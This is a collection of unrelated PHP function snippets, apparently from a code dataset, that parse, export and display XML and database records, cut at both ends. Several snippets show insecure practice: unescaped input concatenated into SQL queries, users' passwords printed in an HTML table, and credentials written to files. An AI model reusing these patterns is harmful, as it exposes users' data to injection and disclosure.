classe servicen\n\t\t$service = new Servicen();\n\t\t$page = \"xml_organisme\";\n\t\tforeach($tableau as $valeur)\n\t\t{\n\t\t\t$var = \"type=\".$valeur;\n\t\t\t//echo $var;\n\t\t\t$scope = $valeur;\n\t\t\t//echo \"la valeur est : \".$valeur;\n\t\t\t$lien = $service->GetLink($page,$var);\n\t\t\t//echo $lien;\n\t\t\t$xml = simplexml_load_string($lien, 'SimpleXMLElement', LIBXML_NOCDATA);\n\t\t\t\n\t\t\tif($xml === FALSE)\n\t\t\t{\n\t\t\t\t$designation.= \"service coupé\";\n\t\t\t\t$now = trim($db->DBTimeStamp(time()), \"'\");\n\t\t\t\t$status = 'Echec';\n\t\t\t\t$action = 'retrieve_ops';\n\t\t\t\tping_admin_ops::ecrirejournal($now,$status,$designation,$action);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$array = json_decode(json_encode((array)$xml), TRUE);\n\t\t\t\t///on initialise un compteur général $i\n\t\t\t\t$i=0;\n\t\t\t\t//on initialise un deuxième compteur\n\t\t\t\t$compteur=0;\n\t\t\t//\tvar_dump($xml);\n\n\t\t\t\t\tforeach($xml as $cle =>$tab)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t$idorga = (isset($tab->id)?\"$tab->id\":\"\");\n\t\t\t\t\t\t$code = (isset($tab->code)?\"$tab->code\":\"\");\n\t\t\t\t\t\t$libelle = (isset($tab->libelle)?\"$tab->libelle\":\"\");\n\t\t\t\t\t\t// 1- on vérifie si cette épreuve est déjà dans la base\n\t\t\t\t\t\t$query = \"SELECT idorga FROM \".cms_db_prefix().\"module_ping_organismes WHERE idorga = ?\";\n\t\t\t\t\t\t$dbresult = $db->Execute($query, array($idorga));\n\n\t\t\t\t\t\t\tif($dbresult && $dbresult->RecordCount() == 0) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$query = \"INSERT INTO \".cms_db_prefix().\"module_ping_organismes (libelle, idorga, code, scope) VALUES (?, ?, ?, ?)\";\n\t\t\t\t\t\t\t\t//echo $query;\n\t\t\t\t\t\t\t\t$compteur++;\n\t\t\t\t\t\t\t\t$dbresultat = $db->Execute($query,array($libelle,$idorga,$code,$scope));\n\n\t\t\t\t\t\t\t\tif(!$dbresultat)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$designation.= $db->ErrorMsg();\t\t\t\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\n\n\t\t\t\t\t}// fin du foreach\n\n\t\t\t}\n\t\t\tunset($scope);\n\t\t\tunset($var);\n\t\t\tunset($lien);\n\t\t\tunset($xml);\n\t\t\tsleep(1);\n\t\t}//fin du premier foreach\n\t\t\n\n\t\t$designation.= $compteur.\" organisme(s) récupéré(s)\";\n\t\t$now = trim($db->DBTimeStamp(time()), \"'\");\n\t\t$status = 'Ok';\n\t\t$action = 'retrieve_ops';\n\t\tping_admin_ops::ecrirejournal($now,$status,$designation,$action);\n\n\t\t\t\n\t\t\n\t}", "function xml_to_sql($databasename, $tablename, $xmlpath, $connection, $dropold = false)\n{\n // leggo i dati dalla tabella xml\n $TableXml = new XMLTable($databasename,$tablename,$xmlpath);\n $records = $TableXml->GetRecords();\n //dprint_r($connection);\n //die();\n if ( isset($TableXml->xmltable->connection) )\n {\n echo \"this is alredy sql database\";\n return;\n }\n //modifico le proprietà della tabella xml\n $oldfilestring = file_get_contents($xmlpath . \"/$databasename/$tablename.php\");\n $strnew = \"\\n\\t<driver>mysql</driver>\";\n $strnew .= \"\\n\\t<host>\" . $connection['host'] . \"</host>\";\n $strnew .= \"\\n\\t<user>\" . $connection['user'] . \"</user>\";\n $strnew .= \"\\n\\t<password>\" . $connection['password'] . \"</password>\";\n\n $newfilestring = preg_replace('/<\\/tables>$/s',encode_preg_replace2nd($strnew) . \"\\n</tables>\",trim(($oldfilestring))) . \"\\n\";\n //die(\"<pre>\".htmlspecialchars($newfilestring).\"</pre>\");\n $file = fopen($xmlpath . \"/$databasename/$tablename.php\",\"w\");\n fwrite($file,$newfilestring);\n $TableSql = new XMLTable($databasename,$tablename,$xmlpath);\n\n $fields = array();\n foreach ( $TableXml->fields as $field )\n {\n $tmp = array();\n $tmp['name'] = $field->name;\n $tmp['type'] = $field->type;\n $tmp['size'] = $field->size;\n if ($tmp['type'] != \"varchar\" || $tmp['type'] != \"text\" || $tmp['type'] != \"datetime\" )\n {\n $tmp['type'] = \"text\";\n $tmp['size'] = \"\";\n }\n if ( isset($field->extra) )\n $tmp['extra'] = $field->extra;\n if ( isset($field->primarykey) && $field->primarykey == 1 )\n $tmp['primarykey'] = $field->primarykey;\n $fields[] = $tmp;\n }\n if ( $dropold )\n {\n if ( !$connessione = mysql_connect($connection['host'],$connection['user'],$connection['password']) )\n return (mysql_error());\n mysql_select_db($databasename);\n $err = mysql_query(\"DROP TABLE `$tablename`\");\n mysql_close();\n echo (mysql_error());\n }\n // creo la tabella sql\n $err = createxmldatabase($databasename,$xmlpath,$connection);\n echo (\"<br />create database:\" . $err);\n $err = createxmltable($databasename,$tablename,$fields,$xmlpath,$connection);\n echo (\"<br />create table:\" . $err);\n foreach ( $records as $record )\n {\n //print_r($record);\n //inserisco i dati nella tabella sql\n $err = $TableSql->InsertRecord($record);\n if ( !is_array($err) )\n echo (\"<br />$err\");\n else\n dprint_r($err);\n }\n\n}", "function wpai_xml_row($xml_node)\n{\n // Modify simpleXML object as needed\n return $xml_node;\n}", "function refToName($refs,$nb) {\n $xml = simplexml_load_string(file_get_contents(\"http://timeo3.keolis.com/relais/217.php?xml=3&refs=\".$refs.\"&ran=1\"));\n $json = json_encode($xml);\n $json = json_decode($json);\n $json = $json->horaires->horaire;\n $arret = $json->description->arret;\n $dir = $json->description->vers;\n echo \"<div class='alert alert-info'>\n Arret <b>$arret</b> vers <b>$dir</b> \n <button type='button' class='close' data-dismiss='alert' aria-label='Close'onclick='deleteStop($nb)'>\n <span class='glyphicon glyphicon-remove-circle'></span>\n </button>\n </div>\";\n $nb++;\n\n \n}", "function end_tag($parser, $name) {\n if ((is_array($this->curElem)) && ($name == 'tarif')) {\n $this->rz[] = $this->curElem;\n $this->curElem = null;\n };\n if ((is_array($this->curElem)) && ($name == 'office')) {\n $this->rz_office[] = $this->curElem; //$this->curElem['to_tarif'];\n $this->curElem = null;\n };\n $this->index = null;\n }", "function afficherListeElements($listOfElements) {\n $afficher = \"<p id='titre'>Les résultats de votre recherche : </p> \";\n $afficher .= ' <table id=\"table_recherche_individu\" >';\n $afficher .= '<thead>';\n $afficher .= ' <tr>';\n $afficher .= '<th id=\"table_recherche_individu\"> Votre choix </th> ';\n $afficher .= '<th id=\"table_recherche_individu\"> ID </th> ';\n $afficher .= '<th id=\"table_recherche_individu\"> nom </th>';\n $afficher .= ' <th id=\"table_recherche_individu\"> prnom </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> rue </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> ville </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> code postale </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> departement </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> email </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> tel </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> date de nissance </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> droit </th>';\n $afficher .= '<th id=\"table_recherche_individu\"> mot de passe </th>';\n $afficher .= ' <th id=\"table_recherche_individu\"> date d\\'inscrire </th>';\n $afficher .= '<th id=\"table_recherche_individu\">nike name </th>';\n $afficher .= '</tr>';\n $afficher .= '<thead>';\n $afficher .= '<tbody>';\n\n\n foreach ($listOfElements as $individu) {\n\n\n $afficher .= '<tr>';\n $afficher .= '<td> <input type=\"radio\" name=\"select_individu\" </td>';\n $afficher .= \"<td id='table_recherche_individu'>\" . $individu->getIdUser() . \" \n <td id='table_recherche_individu'>\" . $individu->getNom() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getPrenom() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getRue() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getVille() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getCodePostal() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getDept() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getEmail() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getTelephone() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getDateNaissance() . \"</td> \n <td id='table_recherche_individu'>\" . $individu->getDroit() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getMdp() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getDateInscription() . \"</td>\n <td id='table_recherche_individu'>\" . $individu->getPseudo() . \"</td>\n \n </tr>\";\n }\n $afficher .= \"</tbody>\n</table>\";\n $afficher .= '<div id=\"button-table\"><br /><input id=\"submit\" type=\"submit\" name=\"submit\" value=\"Modifier votre recherche\" /> <button id=\"submit\" type=\"submit\" name=\"submit\" value=\"Valider votre choix\" >Valider votre choix</button>\n <br /><br /></div>';\n echo $afficher;\n}", "private function _getAdministrativeFeeXMLVersion()\n {\n $db = JFactory::getDBO();\n $query = $db->getQuery(true);\n\n // Parametro de configuracion del componente de tarifa administrativa\n $params = JComponentHelper::getParams('com_fees');\n $valIva = $params->get('valIvaTaPortal', 16);\n\t\t\n // Documento XML para agregar la informacion de la tarifa\n $doc = new DOMDocument('1.0');\n $root = $doc->appendChild($doc->createElement('AdministrativeFee'));\n $airlines = $root->appendChild($doc->createElement('AirLines'));\n \n $query->select('ta.valuetype AS Type, ta.airline AS Code, ta.published, vta.minfare AS FromValue, vta.maxfare AS ToValue, \n\t\t\t\t\t\tvta.charge_adult AS ValueAdult, vta.charge_senior AS ValueSenior, vta.charge_child AS ValueChild, vta.charge_infant ValueInfant , vta.trip AS FlightType, IF(vta.minfare = 0 AND vta.maxfare = 0, 1, 2) AS isRange ');\n $query->from('#__fee_adminfare AS ta');\n \n $query->join('INNER', '#__qs_airlines AS a ON ta.airline = a.codigo');\n $query->join('INNER', '#__fee_values AS vta ON ta.id = vta.fare_id');\n \n $query->where('ta.published = 1');\n \n if($this->_flightType() == 1){ $flightType = 'ON'; }\n \tif($this->_flightType() == 2){ $flightType = 'RN'; }\n \tif($this->_flightType() == 3){ $flightType = 'OI'; }\n \tif($this->_flightType() == 4){ $flightType = 'RI'; }\n \n $query->where(\"vta.trip = '$flightType'\");\n \n // Se ordenan los resultados por los valores (para que el proceso coincida con los rangos)\n $query->order('vta.id ASC');\n\t\t\n \n $db->setQuery($query);\n $rows = $db->loadObjectList();\n //print_R($rows); Die();\n \n $airCode = 'XXX';\n foreach($rows as $row)\n {\n if($airCode != $row->Code)\n {\n $airline = $doc->createElement('AirLine');\n if($row->Code == '--' ){\n \t$airline->setAttributeNode(new DOMAttr('Code', ''));\n }\n else{\n \t$airline->setAttributeNode(new DOMAttr('Code', $row->Code));\n }\n\t\t\t\t$airline->setAttributeNode(new DOMAttr('Type', $row->Type));\n $airlines->appendChild($airline);\n $airCode = $row->Code;\n \n }\n\n if($row->isRange == 1)\n {\n $valueAdult = $doc->createElement('ValueAdult', $row->ValueAdult);\n $valueSenior= $doc->createElement('ValueSenior', $row->ValueSenior);\n $valueChild= $doc->createElement('ValueChild', $row->ValueChild);\n $valueInfant= $doc->createElement('ValueInfant', $row->ValueInfant);\n $airline->appendChild($valueAdult);\n $airline->appendChild($valueSenior);\n $airline->appendChild($valueChild);\n $airline->appendChild($valueInfant);\n }\n elseif($row->isRange == 2)\n {\n $range = $doc->createElement('Range');\n $range->setAttributeNode(new DOMAttr('From', $row->FromValue));\n $range->setAttributeNode(new DOMAttr('To', $row->ToValue));\n\n $valueAdult = $doc->createElement('ValueAdult', $row->ValueAdult);\n $valueSenior= $doc->createElement('ValueSenior', $row->ValueSenior);\n $valueChild= $doc->createElement('ValueChild', $row->ValueChild);\n $valueInfant= $doc->createElement('ValueInfant', $row->ValueInfant);\n $range->appendChild($valueAdult);\n $range->appendChild($valueSenior);\n $range->appendChild($valueChild);\n $range->appendChild($valueInfant);\n $airline->appendChild($range);\n }\n }\n\n // Agregando el IVA\n $iva = $doc->createElement('Iva');\n $iva->setAttributeNode(new DOMAttr('Porcent', $valIva));\n $root->appendChild($iva);\n\t\t\n \n // Obteneido el valor del descuento\n $groups = array(0);\n $user = JFactory::getUser();\n if($user->get('id') != 0)\n $groups = $user->get('groups');\n\t\t\n \n $query = $db->getQuery(true);\n $query->select('gr.discount AS Discount');\n $query->from('#__fee_groups AS gr');\n $query->where('gr.usergroupid = '. current($groups));\n\t\t\n $db->setQuery($query);\n $valDiscount = $db->loadObject();\n \n if($valDiscount)\n $valDiscount = $valDiscount->Discount;\n else\n $valDiscount = 0;\n\n $discount = $doc->createElement('Discount');\n $discount->setAttributeNode(new DOMAttr('Porcent', $valDiscount));\n $root->appendChild($discount);\n\t\t\n //$doc->formatOutput = true;\n //echo $doc->saveXML();\n //die();\n \n return substr($doc->saveXML(), 22);\n }", "public function asXML();", "function AfficherInfo($id){\n$reponse2=new xajaxResponse();//Création d'une instance de xajaxResponse pour traiter les réponses serveur\n$info='';// Initialisation de la variable $info\n//la selection des information selon le nom et code du praticien choisis\n$req2=mysql_query(\"SELECT VIS_NOM,VIS_PRENOM,VIS_ADRESSE,VIS_CP,VIS_VILLE,SEC_CODE FROM `visiteur` where VIS_MATRICULE='\".$id.\"'ORDER BY VIS_NOM \"); \nwhile($array = mysql_fetch_array($req2))\n{\n$info .='<label class=\"titre\">NOM :</label><input type=\"text\" size=\"25\" name=\"VIS_NOM\" class=\"zone \"value=\"'.$array['VIS_NOM'].'\" />\n<label class=\"titre\">PRENOM :</label><input type=\"text\" size=\"50\" name=\"Vis_PRENOM\" class=\"zone\" value=\"'.$array['VIS_PRENOM'].'\" />\n<label class=\"titre\">ADRESSE :</label><input type=\"text\" size=\"50\" name=\"VIS_ADRESSE\" class=\"zone\" value=\"'.$array['VIS_ADRESSE'].'\"/>\n<label class=\"titre\">CP :</label><input type=\"text\" size=\"5\" name=\"VIS_CP\" class=\"zone\" value=\"'.$array['VIS_CP'].'\" />\n<label class=\"titre\">VILLE :</label><input type=\"text\" size=\"30\" name=\"VIS_VILLE\" class=\"zone\" value=\"'.$array['VIS_VILLE'].'\" />\n<label class=\"titre\">SECTEUR :</label><input type=\"text\" size=\"30\" name=\"VIS_VILLE\" class=\"zone\" value=\"'.$array['SEC_CODE'].'\" />';\n\n}$reponse2=new xajaxResponse('ISO-8859-1');\n$reponse2->addAssign(\"affInfo\",\"innerHTML\",$info); // affichage du contenu de $visiteur dans la div affInfo\nreturn $reponse2->getXML();\n}", "function endElement($parser, $name) {\n ## here we rest the current tag\n $this->current_tag = \"\";\n \n switch($name) {\n case 'PAGE' : {\n \t ## let's store the name for this page\n \t $this->page_object[$this->page_counter]['NAME'] = $this->page_name;\n \t $this->page_counter++;\n \t \n ## clear the vars\n $this->current_block = '';\n $this->page_name = '';\n \n break;\n } \n case 'ROW' : {\n \t$this->rows_object[$this->row_counter]['NAME'] = $this->row_name;\n \t$this->page_object[$this->page_counter][$this->row_counter]['NAME'] = $this->row_name;\n \t$this->row_counter++;\n \n \t## clear the vars\n \t$this->current_block = '';\n \t\t\t\t$this->row_name = '';\n \tbreak;\n } \n default: { \n ## store the thing- needs to be checked!\n if(isset($this->rows_object[$this->row_counter])) {\n \t$num_elements = count($this->rows_object[$this->row_counter]);\n } else {\n \t$num_elements = 0;\n }\n \n $this->rows_object[$this->row_counter][$num_elements++] = $this->element_object;\n\n if(isset($this->page_object[$this->page_counter][$this->row_counter])) {\n \t$num_elements = count($this->page_object[$this->page_counter][$this->row_counter]);\n } else {\n \t$num_elements = 0;\n }\n \n $this->page_object[$this->page_counter][$this->row_counter][$num_elements++] = $this->element_object;\n $this->objects[$this->element_object['TYPE']] = true;\n \n ## clear the vars\n $this->element_object = '';\n $this->current_block = '';\n break;\n }\n\n } \n\n }", "function endChildren()\n {\n echo \"</tr>\" . \"\\n\";\n }", "function geraClassesBasicas(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modelo = Util::getConteudoTemplate('class.Modelo.tpl');\n\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n //print_r($aBanco);\n # varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n $copiaModelo = $modelo;\n $nomeClasse = ucfirst($this->getCamelMode($aTabela['NOME']));\n # Varre a estrutura dos campos da tabela em questao\n $aAtributo = $aListaAtributo = $aAtribuicao = $aFuncaoGet = $aFuncaoSet = array();\n foreach($aTabela as $oCampo){\n $nomeCampo \t = (string)$oCampo->NOME;\n if((string)$oCampo->FKTABELA != ''){\n # Processa nome original da tabela estrangeira\n $nomeFKClasse = ucfirst($this->getCamelMode((string)$oCampo->FKTABELA));\n if($nomeFKClasse == $nomeClasse){\n $nomeCampo = \"o\".ucfirst(preg_replace(\"#^(?:id_?|cd_?)(.*?)#is\", \"$1\", $nomeCampo));\n } else {\n $nomeCampo = \"o$nomeFKClasse\";\n }\n }\n\n # Atribui resultados\n $aAtributo[] \t = \"\\tpublic \\$$nomeCampo;\";\n $aListaAtributo[] = ((string)$oCampo->FKTABELA != '') ? \"$nomeFKClasse \\$$nomeCampo = NULL\" : \"\\$$nomeCampo = NULL\";\n $aAtribuicao[] \t = \"\\t\\t\\$this->$nomeCampo = \\$$nomeCampo;\";\n }\n\n # Monta demais valores a serem substituidos\n $atributos = join($aAtributo,\"\\n\");\n $listaAtributos = join(\", \", $aListaAtributo);\n $atribuicao = join(\"\\n\", $aAtribuicao);\n\n # Substitui todas os parametros pelas variaveis ja processadas\n $copiaModelo = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModelo);\n $copiaModelo = str_replace('%%ATRIBUTOS%%', $atributos, $copiaModelo);\n $copiaModelo = str_replace('%%LISTA_ATRIBUTOS%%', $listaAtributos, $copiaModelo);\n $copiaModelo = str_replace('%%ATRIBUICAO%%', $atribuicao, $copiaModelo);\n\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/classes/core/basicas\";\n if(!file_exists($dir)) \n mkdir($dir);\n\n $fp = fopen(\"$dir/class.$nomeClasse.php\",\"w\");\n fputs($fp, $copiaModelo);\n fclose($fp);\n }\n return true;\t\n }", "function retornaTabelas(){\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n $aRetorno = array();\n\n # Varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n # Recupera o nome da tabela e gera o nome da classe\n $aRetorno[] = (string)$aTabela['NOME'];\n }\n return $aRetorno;\n }", "function to_xml(){\n\t\tif ($this->skip) return \"\";\n\t\t\n\t\t$str=\"<item id='\".$this->get_id().\"' >\";\n\t\tfor ($i=0; $i<sizeof($this->config->text); $i++){\n\t\t\t$extra = $this->config->text[$i][\"name\"];\n\t\t\t$str.=\"<\".$extra.\"><![CDATA[\".$this->data[$extra].\"]]></\".$extra.\">\";\n\t\t}\n\t\treturn $str.\"</item>\";\n\t}", "function step_xml_parse_plugin($arbre){\n\n\tif (!is_array($arbre)) \n\t\treturn false;\n\t\n\t// on commence par les simples !\n\t$plug_arbre = step_xml_aplatit_multiple(\n\t\t\t\tarray('nom','icon','auteur','licence','version','version_base','etat','shortdesc','slogan','categorie','tags',\n\t\t\t\t'description','lien','options','fonctions','prefix','install'), \n\t\t\t\t$arbre);\n\t$plug_arbre['prefix'] = strtolower($plug_arbre['prefix']);\n\t\n\t// on continue avec les plus complexes...\t\n\t// 1) balises avec attributs\n\tforeach (array(\n\t\t\t'necessite'=>array('necessite', null),\n\t\t\t'utilise'=>array('utilise', null),\n\t\t\t'chemin'=>array('path', array('dir'=>'')))\n\t\t\t\tas $balise=>$p){\n\t\t$params = $res = array();\n\t\t// recherche de la balise et extraction des attributs\n\t\tif (spip_xml_match_nodes(\",^$balise,\",$arbre, $res)){\n\t\t\tforeach(array_keys($res) as $tag){\n\t\t\t\tlist($tag,$att) = spip_xml_decompose_tag($tag);\n\t\t\t\t$params[] = $att;\n\t\t\t}\n\t\t} \n\t\t// valeur par defaut\n\t\telse {\n\t\t\tif ($p[1]!==null)\n\t\t\t\t$params[] = $p[1];\n\t\t}\n\t\t$plug_arbre[$p[0]] = $params;\t\t\n\t}\n\n\t// 2) balises impriquees\n\t// (pipeline, boutons, onglets)\n\t// on verra plus tard si besoin !\n\n\treturn $plug_arbre;\n}", "public function lectureContenu ()\n {\n\n //$metadata = simplexml_load_file(\"xmoddledata/metadata.xml\");\n\n // on Vérifie si le cours existe\n\n /* @TODO Partie à décommenter lorsque le module de navigation sera intégré au reste de l'application */\n\n // $nbrCours = $metadata->attributes()->nbrCours;\n // $isFound = false;\n // $i = 0;\n // for ($i = 0; $i < $nbrCours; $i++) {\n // if ($metadata->cours[$i]->attributes()->title == $title && $metadata->cours[$i]->attributes()->id == $id) {\n // $isFound = true;\n // break;\n // }\n // }\n\n // if ($isFound) {\n //$cours = simplexml_load_file(\"xmoddledata/\" . $metadata->cours[$i]->attributes()->id . \"_\" . $metadata->cours[$i]->attributes()->title . \"/description.xml\"); \n\n $description = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/description.xml');\n $notions = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/descriptionNotions.xml');\n\n // Création d'un tableau associatif de notions avec l'id comme clé\n\n $notionsArray = $this->getNotions($notions);\n\n // Construction de la navigation\n $text_parties = \"\";\n $nav_parties = [];\n for ($i = 0; $i < $description->attributes()->nbrParties; $i++) {\n $text_parties = \"<div style='\";\n $text_parties .= $this->getStyle($description->partie[$i]->attributes());\n $text_parties .= \"'\";\n $text_parties .= \" id='\".$i.\"'>\";\n $nav_chapitres = [];\n $text_parties .= $description->partie[$i]->attributes()->title;\n $text_parties .= \"</div>\";\n $text_parties .= \"<br/><br/>\";\n $text_chapitres = \"\";\n for ($j = 0; $j < $description->partie[$i]->attributes()->nbrChapitres; $j++) {\n $text_chapitres .= \"<div style='\";\n $text_chapitres .= $this->getStyle($description->partie[$i]->chapitre[$j]->attributes());\n $text_chapitres .= \"'\";\n $text_chapitres .= \" id='\".$i.\"_\".$j.\"'>\";\n $nav_paragraphes = [];\n $text_chapitres .= $description->partie[$i]->chapitre[$j]->attributes()->title;\n $text_chapitres .= \"</div>\";\n $text_chapitres .= \"<br/><br/>\";\n $text_paragraphes = \"\";\n for ($k = 0; $k < $description->partie[$i]->chapitre[$j]->attributes()->nbrParagraphes; $k++) {\n // On renseigne le titre du paragraphe\n $text_paragraphes .= \"<div style='\";\n $text_paragraphes .= $this->getStyle($description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes());\n $text_paragraphes .= \"'\";\n // Ajout d'un ancre de navigation\n $text_paragraphes .= \" id='\".$i.\"_\".$j.\"_\".$k.\"'>\";\n $text_paragraphes .= $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n $text_paragraphes .= \"</div>\";\n $text_paragraphes .= \"<br/>\";\n // Navigation avec paragraphes\n $nav_paragraphes[\"\".$i.\"_\".$j.\"_\".$k] = $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n // On remplit les notions contenus dans le paragraphe\n for ($l = 0; $l < $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->nbrNotions; $l++) {\n $text_paragraphes .= $notionsArray[\"\".$description->partie[$i]->chapitre[$j]->paragraphe[$k]->notion[$l]->attributes()->id];\n }\n }\n $text_chapitres .= $text_paragraphes;\n $nav_chapitres[\"\".$i.\"_\".$j] = $nav_paragraphes;\n }\n $text_parties .= $text_chapitres;\n $nav_parties[\"\".$i] = $nav_chapitres;\n }\n// dd($nav_parties);\n// dd($navigation);\n// dd($description);\n\n // Construction de la page web\n $titre = $description->attributes()->title;\n// dd($description);\n// forearch( $navigation->partie[] as $partie) {\n// dd($pantie);\n// }\n// dd($titre);\n\n\n // $notions = simplexml_load_file(\"../../../fichiersdestructuration/descriptionNotions.xml\");\n\n\n // $nbrNotions = $cours->attributes()->nbrNotions;\n // $notionsConvertis = array();\n // for ($i = 0; $i < $nbrNotions; $i++) {\n // $attributs = $cours->notion[$i]->attributes();\n // $style = \"\";\n // if ($attributs['font-weight'] != null) {\n // $style .= 'font-weight:' . $attributs['font-weight'] . \";\";\n // }\n // if ($attributs['font-size'] != null) {\n // $style .= 'font-size:' . $attributs['font-size'] . \";\";\n // }\n\n // if ($attributs['font-family'] != null) {\n // $style .= 'font-family:' . $attributs['font-family'] . \";\";\n // }\n\n // if ($attributs['color'] != null) {\n // $style .= 'color:' . $attributs['color'] . \";\";\n // }\n\n // if ($attributs['text-decoration'] != null) {\n // $style .= 'text-decoration:' . $attributs['text-decoration'] . \";\";\n // }\n\n // $text = \"\";\n // foreach ($cours->notion[$i]->children() as $child) {\n // $text .= $child->asXML();\n // }\n // $notionHtml = \"<div style='\";\n // $notionHtml .= $style;\n // $notionHtml .= \"'>\";\n // $notionHtml .= $text;\n // $notionHtml .= \"</div>\";\n\n\n // //dd(strval($text));\n // array_push($notionsConvertis, $notionHtml);\n\n // }\n // }else{\n // return view(\"/\");\n // }\n //$notions = $notionsConvertis;\n // return response()->json($notions,200);\n\n // return \"lecture cours\";\n return 0;\n }", "function main(){\r\n\t$url = \"http://data.bmkg.go.id/autogempa.xml\";\r\n\t$get = file_get_contents($url, False);\r\n\t$data = simplexml_load_string($get) or die(\"Error: Cannot create object\");\r\n\tprint \" Tanggal : \".$data->gempa->Tanggal.\"\\n\";\r\n\tprint \" Jam : \".$data->gempa->Jam.\"\\n\";\r\n\tprint \"\\n\";\r\n\tprint \"\\033[0;36m\"; // Cyan\r\n\tprint \" Lintang : \".$data->gempa->Lintang.\"\\n\";\r\n\tprint \" Bujur : \".$data->gempa->Bujur.\"\\n\";\r\n\tprint \" Magnitude : \".$data->gempa->Magnitude.\"\\n\";\r\n\tprint \" Kedalaman : \".$data->gempa->Kedalaman.\"\\n\";\r\n\tprint \"\\n\";\r\n\tprint \"\\033[0;32m\"; // Hijau\r\n\tprint \" Wilayah : \".$data->gempa->Wilayah1.\"\\n\";\r\n\tprint \" Potensi : \".$data->gempa->Potensi.\"\\n\";\r\n\tprint \"\\033[0m\"; // Normal\r\n}", "public function deleteXMLElement(){\r\n \r\n if(isset($this->xmlselect)){\r\n \r\n foreach ($this->xmlselect as $node) { \r\n $node->parentNode->removeChild($node);\r\n }\r\n \r\n $this->save();\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "function getElements($xml){\n\tglobal $index;\n\t$elements = $xml->xpath('/mods');\n\t\n\twhile (list( ,$node) = each($elements)){\n\t\t$type = getMonoType($node);\n\t\tif ($type == \"\" || $type == \"Periodical\") continue;\n $index++;\n\t \n\t\t$el = new Element();\n\t\t$el->group = \"BIBLIFO\";\n\t\t$el->subGroup = $type;\n\t\t$el->eventType = \"Bibliography\";\n \n $title = htmlentities(getTitle($node, $type));\n\t\t$showtitle = neatTrim($title, 40).\" [$index]\";\n $el->label = $showtitle;\n $el->longLabel = $title;\n\n\t\t$start = getStart($node, $type);\n\t\t$el->startDate = $start;\n\t\t\n\t\t$dateType = getDateGrain($start, $start);\n\t\t$el->dateType = $dateType;\n\t\t\n\t\t$point = getPoint($node, $type);\n\t\t$location = htmlentities($point);\n\t\t$locgrain = \"N/A\";\n\t\t$pointtype = \"N/A\";\n\t\t\n\t\tif (trim($point) != \"\") {\n $geoxml = getGeoXML($point, \"CA\");\n\n\t\t\tif ($geoxml->totalResultsCount > 0) $geoxml = getGeoXML($point);\n \n $ctry = getCountry($geoxml);\n if ($ctry != \"\") $location .= \", \".$ctry;\n\n $el->location = $location;\n\t\t\t$lat = getLat($geoxml);\n $lon = getLon($geoxml);\n \n\t\t\tif ($lon != \"\" && $lat != \"\") $el->latLng = \"$lat,$lon\";\n \n $pointtype = \"Point\";\n $locgrain = getLocationGrain($geoxml);\n }\n \n $el->locationType = $locgrain;\n $el->pointType = $pointtype;\n \n $author = htmlentities(getAuthor($node, $type));\n $publisher = htmlentities(getPublisher($node, $type));\n \n if ($author != \"\") $author .= \".\";\n if ($publisher != \"\") $publisher .= \".\";\n if ($location != \"\") {\n if ($start != \"\") $location .= \":\";\n else $location .= \".\";\n }\n $el->description = \"$author <i>$title</i>. $publisher $location $start\";\n printElement($el);\n\t}\n}", "function mysql2xml() {\r\n\t $this->xml = new XMLFile();\r\n \r\n }", "function rawXMLPagegroupExport()\r\n\t{\r\n\t\tglobal $myPT;\r\n\t\tglobal $myDB;\r\n\r\n\t\t$xml ='<?xml version=\"1.0\" encoding=\"'.PT_CHARSET.'\" ?>\r\n<phenotype>\r\n\t<meta>\r\n\t\t<ptversion>'.$myPT->version.'</ptversion>\r\n\t\t<ptsubversion>'.$myPT->subversion.'</ptsubversion>\r\n\t</meta>\r\n\t<pagegroups>';\r\n\t\t$sql = \"SELECT * FROM pagegroup ORDER BY grp_id\";\r\n\t\t$rs = $myDB->query($sql);\r\n\t\twhile ($row=mysql_fetch_array($rs))\r\n\t\t{\r\n\t\t\t$xml .='\r\n\t\t<group>\r\n\t\t\t<grp_id>'.$row[\"grp_id\"].'</grp_id>\r\n\t\t\t<grp_bez>'.$myPT->codeX($row[\"grp_bez\"]).'</grp_bez>\r\n\t\t\t<grp_description>'.$myPT->codeX($row[\"grp_description\"]).'</grp_description>\r\n\t\t\t<grp_statistic>'.$myPT->codeX($row[\"grp_statistic\"]).'</grp_statistic>\r\n\t\t <grp_multilanguage>'.$myPT->codeX($row[\"grp_multilanguage\"]).'</grp_multilanguage>\r\n\t\t 